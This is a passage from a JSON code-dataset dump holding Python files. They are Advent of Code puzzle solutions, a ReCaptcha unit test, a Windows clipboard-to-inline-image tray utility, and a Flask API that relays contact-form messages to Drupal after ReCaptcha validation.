(self):\n \"\"\"Explodes the leftmost nested `SFNumber` once, if any.\n\n Returns `True` if a nested `SFNumber` exploded, `False` otherwise.\n \"\"\"\n exploded = False\n\n for L, M, R in triples( self.inorder() ):\n if M.nested != 4:\n continue\n\n if L:\n if type(L.R) is int:\n L.R += M.L\n elif type(L.L) is int:\n L.L += M.L\n\n if R:\n if type(R.L) is int:\n R.L += M.R\n elif type(R.R) is int:\n R.R += M.R\n\n if M.P.L == M:\n M.P.L = 0\n elif M.P.R == M:\n M.P.R = 0\n\n exploded = True\n break\n\n return exploded\n\n\n def inorder (self):\n \"\"\"Inorder iterator over the nested pairs of this `SFNumber`.\n \n Internal `SFNumber`s (with neither an integer left or right pair) are not\n iterated.\n \"\"\"\n if type(self.L) is not int:\n yield from self.L.inorder()\n\n if type(self.L) is int or type(self.R) is int:\n yield self\n\n if type(self.R) is not int:\n yield from self.R.inorder()\n\n\n def list (self):\n \"\"\"Returns this `SFNumber` as a Python `list` of nested pairs.\"\"\"\n L = self.L if type(self.L) is int else self.L.list()\n R = self.R if type(self.R) is int else self.R.list()\n return [L, R]\n\n\n def split (self):\n \"\"\"Splits the leftmost nested `SFNumber` once, if any.\n \n Returns `True` if a nested `SFNumber` split, `False` otherwise.\n \"\"\"\n pair = None\n\n for n in self.inorder():\n if type(n.L) is int and n.L >= 10:\n pair = [ math.floor(n.L/2), math.ceil(n.L/2) ]\n n.L = SFNumber(pair, n, n.nested + 1)\n\n elif type(n.R) is int and n.R >= 10:\n pair = [ math.floor(n.R/2), math.ceil(n.R/2) ]\n n.R = SFNumber(pair, n, n.nested + 1)\n\n if pair:\n break\n\n return pair is not None\n\n\n def reduce (self):\n \"\"\"Reduces this `SFNumber` in place.\"\"\"\n while self.explode() or self.split():\n pass\n\n\n\n\ndef load (filename):\n \"\"\"Loads a list of Snailfish numbers (`SFNumber`s) from `filename`.\"\"\"\n with open(filename) as stream:\n return read( stream.read().strip() )\n\n\ndef read (lines):\n \"\"\"Reads and returns a list of Snailfish numbers (`SFNumber`s) from `lines`.\"\"\"\n return [ SFNumber( eval(line) ) for line in lines.split('\\n') ]\n\n\ndef triples (iterable):\n \"\"\"Iterates over `iterable` in 3-tuples including `(None, first, second)` and\n `(penultimate, last, None)`.\n \"\"\"\n it = iter(iterable)\n triplets = collections.deque(itertools.islice(it, 2), maxlen=3)\n triplets.appendleft(None)\n\n if len(triplets) == 3:\n yield tuple(triplets)\n\n for item in it:\n triplets.append(item)\n yield tuple(triplets)\n \n triplets.append(None)\n yield tuple(triplets)\n\n\n\nassert SFNumber( [[[[[9,8],1],2],3],4] ) == [[[[0,9],2],3],4]\nassert SFNumber( [7,[6,[5,[4,[3,2]]]]] ) == [7,[6,[5,[7,0]]]]\nassert SFNumber( [[6,[5,[4,[3,2]]]],1] ) == [[6,[5,[7,0]]],3]\n\nn = SFNumber( [[3,[2,[1,[7,3]]]],[6,[5,[4,[3,2]]]]] )\nassert n == [[3,[2,[8, 0]]],[9,[5,[7,0]]]]\n\nn = SFNumber( [[3,[2,[8,0]]],[9,[5,[4,[3,2]]]]] )\nassert n == [[3,[2,[8,0]]],[9,[5,[7,0]]]]\n\nn = SFNumber( [[[[4,3],4],4],[7,[[8,4],9]]] ) + SFNumber( [1,1] )\nassert n == [[[[0,7],4],[[7,8],[6,0]]],[8,1]]\n\nnumbers = read('[1,1]\\n[2,2]\\n[3,3]\\n[4,4]\\n[5,5]\\n[6,6]')\nassert sum(numbers[1:], start=numbers[0]) == [[[[5,0],[7,4]],[5,5]],[6,6]]\n\n\nfilename = 'aoc-2021-d18.txt'\nnumbers = load(filename)\n\n\n# Part 1\n#\n# Q: What is the magnitude of the final sum?\n# A: Magnitude = 4132\n\nprint(f'Magnitude = {abs( sum(numbers[1:], start=numbers[0]) )}')\n\n\n# Part 2\n#\n# Q: What is the largest magnitude of any sum of two different snailfish numbers?\n# A: Max Magnitude = 4685\n\n\nm = max( abs(m + n) for m, n in itertools.permutations(numbers, 2) )\nprint(f'Max Magnitude = {m}' )", "id": "643612", "language": "Python", "matching_score": 1.3732118606567383, "max_stars_count": 0, "path": "2021/day18/aoc-2021-d18.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 12 (https://adventofcode.com/2020/day/12)\n# Author: <NAME>\n\n\nimport collections\nimport math\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef parse (line):\n \"\"\"Parses line into an `(action, value)` pair.\"\"\"\n return line[0], int(line[1:])\n\n\ndef rotate (x, y, deg, clockwise=False):\n \"\"\"Rotates (`x`, `y`) cartesian coordinates `deg`rees counterclockwise\n (default) or clockwise. Assumes `(x, y)` are integer coordinates and\n maintains (returns) integer coordinates (i.e. rounds).\n \"\"\"\n t = math.radians(360 - deg if clockwise else deg)\n rx = round( x * math.cos(t) - y * math.sin(t) )\n ry = round( x * math.sin(t) + y * math.cos(t) )\n return rx, ry\n\n\nfilename = 'aoc-2020-d12.txt'\nsteps = list( lines(filename, parse) )\n\n\n# Part 1\n#\n# Figure out where the navigation instructions lead.\n#\n# Q: What is the Manhattan distance between that location and the ship's\n# starting position?\n# A: Part 1: Manhattan(origin, ship): 319.\n\nsx, sy = 0, 0\nheading = collections.deque(['E', 'S', 'W', 'N'])\nactions = {\n 'N': lambda act, val: (sx, sy + val, None),\n 'S': lambda act, val: (sx, sy - val, None),\n 'E': lambda act, val: (sx + val, sy, None),\n 'W': lambda act, val: (sx - val, sy, None),\n 'F': lambda act, val: (sx, sy, heading[0]),\n 'L': lambda act, val: (sx, sy, heading.rotate( val // 90)),\n 'R': lambda act, val: (sx, sy, heading.rotate(-val // 90))\n}\n\nfor act, val in steps:\n while act is not None:\n sx, sy, act = actions[act](act, val)\n\nprint(f'Part 1: Manhattan(origin, ship): {abs(sx) + abs(sy)}.')\n\n\n# Part 2\n#\n# Figure out where the navigation instructions actually lead.\n#\n# Q: What is the Manhattan distance between that location and the ship's\n# starting position?\n# A: Part 2: Manhattan(origin, ship): 50157.\n\nsx, sy = 0, 0\nwx, wy = 10, 1\nactions = {\n 'N': lambda act, val: (sx, sy, wx, wy + val),\n 'S': lambda act, val: (sx, sy, wx, wy - val),\n 'E': lambda act, val: (sx, sy, wx + val, wy),\n 'W': lambda act, val: (sx, sy, wx - val, wy),\n 'F': lambda act, val: (sx + (val * wx), sy + (val * wy), wx, wy),\n 'L': lambda act, val: (sx, sy, *rotate(wx, wy, val)),\n 'R': lambda act, val: (sx, sy, *rotate(wx, wy, val, clockwise=True))\n}\n\nfor act, val in steps:\n sx, sy, wx, wy = actions[act](act, val)\n\nprint(f'Part 2: Manhattan(origin, ship): {abs(sx) + abs(sy)}.')\n", "id": "2811206", "language": "Python", "matching_score": 1.5143219232559204, "max_stars_count": 0, "path": "2020/day12/aoc-2020-d12.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 7 (https://adventofcode.com/2021/day/7)\n# Author: <NAME>\n\n\nimport collections\n\n\ndef align (crabs, cost):\n \"\"\"Aligns the crab positions `crabs` (array) to the same position using\n the least fuel, according to the given `cost` function. The `cost`\n function takes a single parameter, the number of steps to move,\n i.e. `cost(steps)`.\n\n Returns `(pos, fuel)`.\n \"\"\"\n fuel = collections.defaultdict(int)\n\n for moveto in range( max(crabs) ):\n for crab in crabs:\n fuel[moveto] += cost( abs(crab - moveto) )\n\n return min(fuel.items(), key=lambda pair: pair[1])\n\n\ndef load (filename):\n \"\"\"Loads crab position from `filename`.\"\"\"\n with open(filename) as stream:\n return [ int(s) for s in stream.read().split(',') ]\n\n\nfilename = 'aoc-2021-d07.txt'\ncrabs = load(filename)\n\n\n# Part 1\n#\n# Q: How much fuel must they spend to align to that position?\n# A: Moving to position 328 costs 328187 fuel.\n\npos, fuel = align(crabs, lambda steps: steps)\nprint(f'Part 1: Moving to position {pos} costs {fuel:8} fuel.')\n\n\n# Part 2\n#\n# Q: How much fuel must they spend to align to that position?\n# A: Moving to position 464 costs 91257582 fuel.\n\npos, fuel = align(crabs, lambda steps: int(steps * (steps + 1) / 2) )\nprint(f'Part 2: Moving to position {pos} costs {fuel:8} fuel.')\n", "id": "11238728", "language": "Python", "matching_score": 0.46235865354537964, "max_stars_count": 0, "path": "2021/day07/aoc-2021-d07.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 5 (https://adventofcode.com/2021/day/5)\n# Author: <NAME>\n\n\nimport collections\n\n\nPoint = collections.namedtuple('Point', ['x', 'y'])\nLine = collections.namedtuple('Line' , ['p', 'q'])\n\n\ndef diagonal (line):\n \"\"\"Indicates whether or not `line` is diagonal.\"\"\"\n return (line.p.x != line.q.x) and (line.p.y != line.q.y)\n\n\ndef lines (filename):\n \"\"\" Python iterator over lines in `filename`, return `Line`s.\"\"\"\n point = lambda s: Point._make( int(t) for t in s.split(',') )\n line = lambda s: Line._make ( point(t) for t in s.split('->') )\n\n with open(filename) as stream:\n for s in stream.readlines():\n yield line(s)\n\n\ndef points (line):\n \"\"\"Returns an iterator over `Point`s in `line`.\n\n The Line `line` must be horizontal, vertical, or diagonal with a\n slope of 45 degrees.\n \"\"\"\n dx = line.q.x - line.p.x\n dy = line.q.y - line.p.y\n sx = sign(dx)\n sy = sign(dy)\n steps = max( abs(dx), abs(dy) ) + 1\n x = line.p.x\n y = line.p.y\n\n for s in range(steps):\n yield Point(x, y)\n x += sx\n y += sy\n\n\ndef record (line, vents):\n \"\"\"Records vent `line`s to `vents` coordinate-to-counts dictionary.\"\"\"\n for point in points(line):\n vents[point] += 1\n\n\ndef sign (x):\n \"\"\"Return `-1` if `x < 0`, `0` if `x == 0` and `1` if `x > 0`.\"\"\"\n return 0 if x == 0 else (1 if x > 0 else -1)\n\n\nfilename = 'aoc-2021-d05.txt'\nvents = collections.defaultdict(int)\ndiagonals = collections.defaultdict(int)\n\n\n# Part 1\n#\n# Q: At how many points do at least two lines overlap?\n# A: Overlap = 6113\n\nfor line in lines(filename):\n record(line, diagonals if diagonal(line) else vents)\n\noverlap = sum(1 for count in vents.values() if count >= 2)\n\nprint(f'Part 1: Overlap = {overlap:5}')\n\n\n# Part 2\n#\n# Q: At how many points do at least two lines overlap (with diagonals)?\n# A: Overlap = 20373\n\nvents = { p: vents[p] + diagonals[p] for p in list(vents) + list(diagonals) }\noverlap = sum(1 for count in vents.values() if count >= 2)\n\nprint(f'Part 2: Overlap = {overlap:5}')\n", "id": "7671534", "language": "Python", "matching_score": 1.3691307306289673, "max_stars_count": 0, "path": "2021/day05/aoc-2021-d05.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 3 (https://adventofcode.com/2020/day/3)\n# Author: <NAME>\n\n\nimport collections\nimport functools\n\n\nPoint = collections.namedtuple( 'Point', [ 'x' , 'y'] )\nSlope = collections.namedtuple( 'Slope', ['dx', 'dy'] )\nproduct = lambda items: functools.reduce(lambda a, b: a * b, items, 1)\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef move (pos, slope):\n \"\"\"Returns a new position by moving from `pos` by `slope` amount.\"\"\"\n return Point(pos.x + slope.dx, pos.y + slope.dy)\n\n\ndef tree (hill, pos):\n \"\"\"Indicates whether or not hill has a tree at (x, y) `pos`ition.\"\"\"\n cols = len(hill[0])\n return hill[pos.y][pos.x % cols] == '#'\n\n\ndef trees (hill, slope, start=None):\n \"\"\"Returns the number of trees encountered down `hill` according to the\n given `slope` trajectory. If not specified, `start` defaults to\n `Point(0, 0)`.\n \"\"\"\n pos = Point(0, 0) if start is None else start\n count = 0\n\n while pos.y < len(hill):\n count += 1 if tree(hill, pos) else 0\n pos = move(pos, slope)\n\n return count\n\n\n# Part 1\n#\n# Q: Starting at the top-left corner of your map and following a slope\n# of right 3 and down 1, how many trees would you encounter?\n# A: Part 1: Trees encountered: 220.\n\nfilename = 'aoc-2020-d03.txt'\nhill = list( lines(filename, lambda s: s.strip()) )\n\nntrees = trees(hill, Slope(3, 1))\nprint(f'Part 1: Trees encountered: {ntrees}.')\n\n\n# Part 2\n#\n# Q: What do you get if you multiply together the number of trees\n# encountered on each of the listed slopes?\n# A: Part 2: Product of trees encountered: 2138320800.\n\nslopes = Slope(1, 1), Slope(3, 1), Slope(5, 1), Slope(7, 1), Slope(1, 2)\nntrees = [ trees(hill, s) for s in slopes ]\nprint(f'Part 2: Product of trees encountered: {product(ntrees)}.')\n", "id": "6029674", "language": "Python", "matching_score": 0.8446345329284668, "max_stars_count": 0, "path": "2020/day03/aoc-2020-d03.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 4 (https://adventofcode.com/2021/day/4)\n# Author: <NAME>\n\n\nimport itertools\n\n\ndef card (lines):\n \"\"\"Creates a bingo card (matrix) from `lines`.\"\"\"\n lines = lines.strip().split('\\n')\n return [ [ int(s) for s in line.split() ] for line in lines ]\n\n\ndef load (filename):\n \"\"\"Loads a bingo game from `filename` and returns `(numbers, boards)`.\"\"\"\n with open(filename) as stream:\n numbers = [ int(s) for s in stream.readline().split(',') ]\n discard = stream.readline()\n boards = [ card(lines) for lines in stream.read().split('\\n\\n') ]\n\n return numbers, boards\n\n\ndef mark (board, draw):\n \"\"\"Marks the bingo `board` with the number `draw`.\"\"\"\n nrows = len( board )\n ncols = len( board[0] )\n\n for row, col in itertools.product( range(nrows), range(ncols) ):\n if board[row][col] == draw:\n board[row][col] = 'x'\n\n\ndef score (board, draw):\n \"\"\"Scores the bingo `board`, including the last `draw`.\"\"\"\n return sum(s for s in itertools.chain(*board) if s != 'x') * draw\n\n\ndef winner (board):\n \"\"\"Indicates whether or not this bingo `board` is a winner.\"\"\"\n done = lambda squares: all(s == 'x' for s in squares)\n return any(done(row) or done(col) for row, col in zip(board, zip(*board)))\n\n\nfilename = 'aoc-2021-d04.txt'\nnumbers, boards = load(filename)\nscores = [ ]\n\nfor draw, board in itertools.product(numbers, boards):\n if not winner(board):\n mark(board, draw)\n if winner(board):\n scores.append( score(board, draw) )\n if len(scores) == len(boards):\n break\n\n\n# Part 1\n#\n# Q: What will your final score be if you choose that board?\n# A: Score = 12796\n\nprint(f'Part 1: Score = {scores[0]}')\n\n\n# Part 2\n#\n# Q: Once it wins, what would its final score be?\n# A: Score = 18063\n\nprint(f'Part 2: Score = {scores[-1]}')\n", "id": "7264380", "language": "Python", "matching_score": 1.4876108169555664, "max_stars_count": 0, "path": "2021/day04/aoc-2021-d04.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 10 (https://adventofcode.com/2021/day/10)\n# Author: <NAME>\n\n\nimport collections\nimport functools\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in `filename`. If `func` is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\nfilename = 'aoc-2021-d10.txt'\ncloses = { '(': ')', '[': ']', '{': '}' , '<': '>' }\nclosers = closes.values()\ncounts = collections.defaultdict(int)\nincomplete = [ ]\n\n\nfor line in lines(filename):\n error = False\n line = line.strip()\n stack = [ ]\n\n for c in line:\n stack.append(c)\n\n if c not in closers or len(stack) < 2:\n continue\n\n actual = stack[-1]\n expected = closes[ stack[-2] ]\n\n if actual == expected:\n stack.pop()\n stack.pop()\n else:\n counts[actual] += 1\n error = True\n break\n\n if not error:\n incomplete.append(stack)\n\n\n# Part 1\n#\n# Q: What is the total syntax error score for those errors?\n# A: Score = 319329\n\npoints = { ')': 3, ']': 57, '}': 1197, '>': 25137 }\nscore = sum( count * points[c] for c, count in counts.items() )\nprint(f'Part 1: Score = {score:10}')\n\n\n# Part 2\n#\n# Q: What is the middle score?\n# A: 3515583998\n\npoints = { ')': 1, ']': 2, '}': 3, '>': 4 }\nscores = [ ]\n\nfor stack in incomplete:\n complete = [ closes[c] for c in reversed(stack) ]\n score = functools.reduce(lambda a, c: (a * 5) + points[c], complete, 0)\n scores.append(score)\n\nscores.sort()\nprint(f'Part 2: Score = {scores[len(scores) // 2]}')\n", "id": "2231196", "language": "Python", "matching_score": 0.9201021790504456, "max_stars_count": 0, "path": "2021/day10/aoc-2021-d10.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 10 (https://adventofcode.com/2020/day/10)\n# Author: <NAME>\n\n\nimport collections\nimport functools\nimport itertools\n\n\nproduct = lambda items: functools.reduce(lambda a, b: a * b, items, 1)\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\n# Part 1\n#\n# Q: What is the number of 1-jolt differences multiplied by the number\n# of 3-jolt differences?\n#\n# A: Part 1: Number of 1-jolt * 3-jolt differences: 1885.\n\nfilename = 'aoc-2020-d10.txt'\nadapters = sorted( lines(filename, int) )\nadapters.insert(0, 0)\nadapters.append( adapters[-1] + 3 )\n\ndeltas = [ adapters[n] - adapters[n - 1] for n in range(1, len(adapters)) ]\ncounts = collections.Counter(deltas)\nresult = counts[1] * counts[3]\nprint(f'Part 1: Number of 1-jolt * 3-jolt differences: {result}.')\n\n\n# Part 2\n#\n# Q: What is the total number of distinct ways you can arrange the\n# adapters to connect the charging outlet to your device?\n#\n# A: Part 2: Combinations: 2024782584832.\n\nfactor = { 1: 1, 2: 2, 3: 4, 4: 7 }\nruns = [ len( list(g) ) for k, g in itertools.groupby(deltas) if k == 1 ]\ncombos = product([ factor[r] for r in runs ])\n\nprint(f'Part 2: Total combinations: {combos}.')\n\n\n# Runs of ones (1) in the \"jolts\" deltas yield different multiplication\n# factors when computing the total number of combinations (product of\n# factors). I counted factors by hand for for 1, 2, and 3 based on the\n# examples provided in the puzzle description:\n#\n# Deltas: 1 3 1 1 1 3 1 1 3 1 3 3\n# (0) 1 4 5 6 7 10 11 12 15 16 19 (22)\n# (0) 1 4 5 6 7 10 12 15 16 19 (22)\n# (0) 1 4 5 7 10 11 12 15 16 19 (22)\n# (0) 1 4 5 7 10 12 15 16 19 (22)\n# (0) 1 4 6 7 10 11 12 15 16 19 (22)\n# (0) 1 4 6 7 10 12 15 16 19 (22)\n# (0) 1 4 7 10 11 12 15 16 19 (22)\n# (0) 1 4 7 10 12 15 16 19 (22)\n#\n# Notice that:\n#\n# 1. A single \"run\" of 1 can never be deleted when deriving\n# combinations, so it's factor is 1 (combos *= 1).\n#\n# 2. A run of two 1s can result in a single deletion, so the total\n# number of combinations is two (on/present or off/absent)\n# (combos *= 2).\n#\n# 3. A run of three 1s results in four possible combinations. While\n# 2^3 = 8, certain deletions would result in a delta of more than\n# three \"jolts\", given that runs are (by definition) bracketed by\n# deltas of three:\n#\n# 000 <-- Invalid\n# 001\n# 010 <-- Invalid\n# 011\n# 100 <-- Invalid\n# 101\n# 110 <-- Invalid\n# 111\n#\n# 4. A run of four 1s can result in seven possible combinations\n# (combos *= 7). It's derivation is left as an exercise for\n# the reader. :)\n#\n# I must admit, I stopped at runs of four 1s when I saw that was the\n# longest run given my puzzle input. This is arguably \"cheating\" and\n# not the most general solution.\n", "id": "5775231", "language": "Python", "matching_score": 2.480530023574829, "max_stars_count": 0, "path": "2020/day10/aoc-2020-d10.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 1 (https://adventofcode.com/2020/day/1)\n# Author: <NAME>\n\n\nimport functools\nimport itertools\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\n# Part 1\n#\n# Q: What is the product of the two entries that sum to 2020?\n# A: Sum of (527, 1493) is 2020 and product is 786811.\n\n# Part 2\n#\n# Q: What is the product of the three entries that sum to 2020?\n# A: Sum of (1111, 289, 620) is 2020 and product is 199068980.\n\n\nfilename = 'aoc-2020-d01.txt'\nentries = list( lines(filename, int) )\nproduct = lambda items: functools.reduce(lambda a, b: a * b, items, 1)\n\nfor r in 2, 3:\n for values in itertools.combinations(entries, r):\n if sum(values) == 2020:\n print(f'Sum of {values} is 2020 and product is {product(values)}.')\n break\n", "id": "5115581", "language": "Python", "matching_score": 0.6272444725036621, "max_stars_count": 0, "path": "2020/day01/aoc-2020-d01.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 6 (https://adventofcode.com/2020/day/6)\n# Author: <NAME>\n\nimport collections\n\n\n# Part 1\n#\n# Q: For each group, count the number of questions to which anyone\n# answered \"yes\". What is the sum of those counts?\n# A: Part 1: Sum of counts: 6351.\n\n# Part 2\n#\n# Q: For each group, count the number of questions to which everyone\n# answered \"yes\". What is the sum of those counts?\n# A: Part 2: Sum of counts: 3143.\n\nfilename = 'aoc-2020-d06.txt'\npeople = 0\nquestions = collections.Counter()\nanyone = 0\neveryone = 0\n\nwith open(filename) as stream:\n for line in stream.readlines():\n line = line.strip()\n if len(line) == 0:\n anyone += len(questions)\n everyone += len([ v for v in questions.values() if v == people ])\n people = 0\n questions.clear()\n else:\n people += 1\n questions.update(line)\n\nanyone += len(questions)\neveryone += len([ v for v in questions.values() if v == people ])\n\nprint(f'Part 1: Sum of counts: {anyone}.')\nprint(f'Part 2: Sum of counts: {everyone}.')\n", "id": "10537057", "language": "Python", "matching_score": 2.756941318511963, "max_stars_count": 0, "path": "2020/day06/aoc-2020-d06.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 6 (https://adventofcode.com/2020/day/6)\n# Author: <NAME> (329F) <<EMAIL>>\n\n\n# Part 1\n#\n# Q: For each group, count the number of questions to which anyone\n# answered \"yes\". What is the sum of those counts?\n# A: Part 1: Sum of counts: 6351.\n\n# Part 2\n#\n# Q: For each group, count the number of questions to which everyone\n# answered \"yes\". What is the sum of those counts?\n# A: Part 2: Sum of counts: 3143.\n\nfilename = 'aoc-2020-d06.txt'\nanyone = 0\neveryone = 0\n\nwith open(filename) as stream:\n text = stream.read()\n\nfor group in text.split('\\n\\n'):\n people = [ set(person) for person in group.split() ]\n anyone += len( set.union(*people) )\n everyone += len( set.intersection(*people) )\n\nprint(f'Part 1: Sum of counts: {anyone}.')\nprint(f'Part 2: Sum of counts: {everyone}.')\n", "id": "8761038", "language": "Python", "matching_score": 2.6655139923095703, "max_stars_count": 0, "path": "2020/day06/aoc-2020-d06-levine.py" } ]
1.242374
felubra
[ { "content": "import sys\nsys.path.append('../src')\n\nimport app\nimport exceptions\n\nimport unittest\n\nclass AppTestCase(unittest.TestCase):\n def setUp(self):\n app.APP.testing = True\n self.app = app.APP.test_client()\n \n def tearDown(self):\n pass\n\n # @todo (tdd): test for network errors expecting raise of APIError\n\n def test_do_recaptcha_validation_with_invalid_response(self):\n with self.assertRaises(exceptions.RecaptchaError): \n app.do_recaptcha_validation('avocado')\n\n def test_do_recaptcha_validation_with_valid_recaptcha(self): \n response = input(\"Digite a resposta recebida do ReCaptcha: \") \n rv = app.do_recaptcha_validation(response)\n assert rv == True \n\nif __name__ == '__main__':\n unittest.main()\n\n\n", "id": "2352092", "language": "Python", "matching_score": 1.394815444946289, "max_stars_count": 0, "path": "tests/tests.py" }, { "content": "from bs4 import BeautifulSoup\nfrom PIL import ImageGrab\nfrom io import BytesIO\nimport win32clipboard\nimport base64\nimport wx.adv\nimport wx\n\nTRAY_TOOLTIP = 'Inline image generator'\nTRAY_ICON = 'icon.ico'\n\n\ndef reinsert_dib_format():\n \"\"\"\n If the clipboard contains data of a imagem in CF_DIBV5 format, reinsert it into the clipboard,\n automatically alongside with a CF_DIB version.\n This solves a issue where the MS Outlook does not populate the CF_DIB format, only the CF_DIBV5\n causing ImageGrab.grabclipboard() to not recognize the image.\n TODO: deal with a error state e.g. cannot open the clipboard.\n \"\"\"\n try:\n win32clipboard.OpenClipboard()\n hwndDC = win32clipboard.GetClipboardData(\n win32clipboard.CF_DIBV5)\n win32clipboard.EmptyClipboard()\n win32clipboard.SetClipboardData(win32clipboard.CF_DIBV5, hwndDC)\n finally:\n win32clipboard.CloseClipboard()\n\n\ndef clip_image_to_html_inline_image(image):\n \"\"\"\n Get a image from the clipboard and return the image as a inline base64 encoded <IMG> tag.\n \"\"\"\n if image:\n buffered = BytesIO()\n image.save(buffered, format=\"JPEG\")\n img_str = base64.b64encode(buffered.getvalue())\n img_str = img_str.decode(\"utf-8\")\n soup = BeautifulSoup('<div></div>')\n new_tag = soup.new_tag('img', src=\"data:%s;base64,%s\" %\n ('image/jpeg', img_str))\n return str(new_tag)\n return ''\n\n\ndef grab_image():\n \"\"\"\n Tries to get the imagem from clipboard using ImageGrab.grabclipboard() and uses\n reinsert_dib_format() if necessary.\n \"\"\"\n image = ImageGrab.grabclipboard()\n\n if image:\n img_tag = clip_image_to_html_inline_image(image)\n else:\n reinsert_dib_format()\n img_tag = clip_image_to_html_inline_image(image)\n\n if img_tag:\n copy_html_to_clipboard(img_tag)\n\n\ndef copy_html_to_clipboard(html):\n \"\"\"\n Copy the html string into the clipboard as a HTML object.\n \"\"\"\n if not wx.TheClipboard.IsOpened():\n do = wx.HTMLDataObject()\n do.SetHTML(html)\n wx.TheClipboard.Open()\n res = wx.TheClipboard.SetData(do)\n wx.TheClipboard.Close()\n return res\n return False\n\n\ndef create_menu_item(menu, label, func):\n \"\"\"\n Small helper to create a menu item.\n \"\"\"\n item = wx.MenuItem(menu, -1, label)\n menu.Bind(wx.EVT_MENU, func, id=item.GetId())\n menu.Append(item)\n return item\n\n\nclass TaskBarIcon(wx.adv.TaskBarIcon):\n def __init__(self, frame):\n self.frame = frame\n super(TaskBarIcon, self).__init__()\n self.set_icon(TRAY_ICON)\n self.Bind(wx.adv.EVT_TASKBAR_LEFT_DOWN, self.on_left_down)\n\n def CreatePopupMenu(self):\n menu = wx.Menu()\n create_menu_item(menu, 'Licenças', self.on_license_info)\n menu.AppendSeparator()\n create_menu_item(menu, 'Sair', self.on_exit)\n return menu\n\n def set_icon(self, path):\n icon = wx.Icon(path)\n self.SetIcon(icon, TRAY_TOOLTIP)\n\n def on_left_down(self, event):\n grab_image()\n\n def on_license_info(self, event):\n pass # TODO\n\n def on_exit(self, event):\n wx.CallAfter(self.Destroy)\n self.frame.Close()\n\n\nclass App(wx.App):\n def OnInit(self):\n frame = wx.Frame(None)\n self.SetTopWindow(frame)\n TaskBarIcon(frame)\n return True\n\n\ndef main():\n app = App(False)\n app.MainLoop()\n\n\nif __name__ == '__main__':\n main()\n", "id": "432090", "language": "Python", "matching_score": 0.4752981662750244, "max_stars_count": 0, "path": "main.py" }, { "content": "'''\nExceptions used in the API\n'''\nimport jsend\n\nclass RecaptchaError(Exception):\n ''' A Recaptcha Exception '''\n def __init__(self, message, error_codes):\n super().__init__(self)\n self.message = message\n self.error_codes = error_codes\n \n def __str__(self):\n return \"{} .\\nReturned error codes: {}\".format(\n self.message, self.error_codes)\n\nclass APIException(Exception):\n ''' A Generic API Exception '''\n status_code = 400\n def __init__(self, message, status_code=None, payload=None):\n ''' Constructor '''\n super().__init__(self)\n self.message = message\n if status_code is not None:\n self.status_code = status_code\n self.payload = payload\n\n def __str__(self):\n return self.message\n\n def to_dict(self):\n ''' Transforms this exception to a dict '''\n if self.status_code >= 400 and self.status_code < 500:\n result = dict(jsend.fail({\n 'message': self.message,\n 'payload': self.payload\n }))\n elif self.status_code >= 500:\n result = dict(jsend.error(self.message, self.status_code, self.payload))\n return result\n", "id": "6062701", "language": "Python", "matching_score": 2.2253236770629883, "max_stars_count": 0, "path": "src/exceptions.py" }, { "content": "'''\nAn small API for relaying contact messages to Drupal after server-side Recaptcha validation.\n'''\nimport logging\nfrom exceptions import RecaptchaError, APIException\nimport jsend\nimport requests\n\n\nfrom flask import Flask, jsonify, json, request\nfrom flask_env import MetaFlaskEnv\nfrom flask_cors import CORS, cross_origin\nfrom jsonschema import ValidationError, validate\nfrom schemas import CONTACT_FORM_SCHEMA\n\nAPP = Flask(__name__)\n\n\nclass Configuration(metaclass=MetaFlaskEnv):\n ENV_PREFIX = 'RELAY_'\n\n RECAPTCHA_SECRET_KEY = ''\n DRUPAL_CONTACT_MESSAGE_URL = ''\n DRUPAL_CONTACT_FORM_ID = ''\n DRUPAL_AUTH_USER = ''\n DRUPAL_AUTH_PASSWORD = ''\n CORS_ORIGINS = \"*\"\n\n\nAPP.config.from_object(Configuration)\nCORS(app=APP, origins=APP.config['CORS_ORIGINS'])\n\n\ndef do_recaptcha_validation(response):\n ''' Perform a server-side Google ReCaptcha validation '''\n with requests.post('https://www.google.com/recaptcha/api/siteverify', data={\n \"secret\": APP.config[\"RECAPTCHA_SECRET_KEY\"],\n \"response\": response\n }) as req:\n try:\n req.raise_for_status()\n json_response = req.json()\n if not getattr(json_response, 'success', False):\n raise ValueError()\n except ValueError:\n raise RecaptchaError(\"Invalid\", json_response['error-codes'])\n except requests.exceptions.RequestException:\n raise APIException(\"Failed to connect to ReCaptcha Service\", 503)\n except:\n raise APIException(\"Server error\", 500)\n else:\n return True\n\n\ndef post_drupal_contact_message(contact):\n ''' Post contact message to Drupal '''\n with requests.post(APP.config[\"DRUPAL_CONTACT_MESSAGE_URL\"], json={\n \"contact_form\": APP.config[\"DRUPAL_CONTACT_FORM_ID\"],\n \"message\": [contact[\"message\"]],\n \"subject\": [\"Contato - \" + contact[\"name\"]],\n \"mail\": [contact[\"mail\"]],\n \"name\": [contact[\"name\"]]\n }, 